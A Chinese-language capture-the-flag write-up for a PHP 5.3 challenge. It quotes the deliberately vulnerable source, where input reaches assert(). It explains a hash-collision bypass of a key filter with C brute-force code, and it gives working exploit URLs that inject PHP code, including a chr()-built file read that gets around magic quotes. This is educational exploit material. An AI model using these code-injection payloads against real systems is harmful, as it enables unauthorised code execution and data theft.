序 这是一道群里大佬出的红包题，由于我是非预期解题，这里给出一下出题人Write Up和自己的一些思考。 原题 PHP Ver : 5.3.29 <?php ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT); $flag=0; $array = array('MXPUMXPUMXPUMXPU' => 1, 'NWPUNWPUNWPUNWPU' => 2, 'MXOvMXOvMXOvMXOv' => 3,'NWOvNWOvNWOvNWOv' => 'phpinfo();'); $ref = &$array; if (isset($_GET['data_key']) && isset($_GET['data_value'])) { $data_key = $_GET['data_key']; $data_value = $_GET['data_value']; if (preg_match('/MX|PU|NW|Ov/i', $data_key)) { die('nonono'); } else{ foreach ($array as $key => $value) { if ($flag===0){ unset($array['NWPUNWPUNWPUNWPU']); $array[$data_key] = $data_value; $flag=1; } if($key=='NWOvNWOvNWOvNWOv'){ call_user_func('assert',$value); die(''); } if (current($array) === false) { call_user_func('assert',$value); } } } } else{ highlight_file(__FILE__); } 题解 注意到是php版本5，用了foreach方法，注意到php5中数组和php7存在区别，具体可见： https://stackoverflow.com/questions/10057671/how-does-php-foreach-actually-work/14854568#14854568 https://www.phpinternalsbook.com/php5/hashtables/hash_algorithm.html 了解到hash算法是djbx33a后，考虑hash碰撞。由于该hash算法的特性，两两⼀组进行碰撞，碰撞出array_key=O6Q4O6Q4O6Q4O6Q4. POC static inline unsigned long zend_inline_hash_func(const char *arKey, unsigned int nKeyLength) { register unsigned long hash = 5381; /* variant with the hash unrolled eight times */ for (; nKeyLength >= 8; nKeyLength -= 8) { hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; } switch (nKeyLength) { case 7: hash = ((hash << 5) + hash) + *arKey++; case 6: hash = ((hash << 5) + hash) + *arKey++; case 5: hash = ((hash << 5) + hash) + *arKey++; case 4: hash = ((hash << 5) + hash) + *arKey++; case 3: hash = ((hash << 5) + hash) + *arKey++; case 2: hash = ((hash << 5) + hash) + *arKey++; case 1: hash = ((hash << 5) + hash) + *arKey++; break; case 0: break; } return hash; } int main() { char a[3]; a[2] = 0; for (byte i = 0; i < 255; i += 1) { a[0] = i; for (byte j = 0; j < 255; j += 1) { a[1] = j; if (zend_inline_hash_func(a, 2) == zend_inline_hash_func("PU", 2)) { std::cout << int(a[0]) << ',' << int(a[1]) << std::endl; } } } } 绕过后，进行命令执行，发现开了magic quote，所有的'会被转义成\' https://www.cnblogs.com/phpddt/articles/3131136.html 用php中的char函数来构造字符串。 http://xxx/?data_key=O6Q4O6Q4O6Q4O6Q4&data_value=var_dump(file_get_contents(chr(47).flag)); 思考 在刚拿到这道题的时候尝试使用正则绕过来构造PoC如下： http://xxx/?data_key=N%0AW%0AP%0AU%0AN%0AW%0AP%0AU%0AN%0AWPUNWPU%0A&data_value=phpinfo(); 发现怎么也跑不进构造的新数组里去。 在阅读大佬放出的Hint后得到如下关键信息： 于是想到直接碰撞hash，但是苦于找不到PHP的hash算法，就随便魔改了一下原字符串得到： http://xxx/?data_key=WNUPWNUPWNUPWNUP&data_value=phpinfo(); 魔幻的事情开始了，竟然能够成功执行代码并非预期解拿到了flag和一杯奶茶。非预期解原因暂时未知。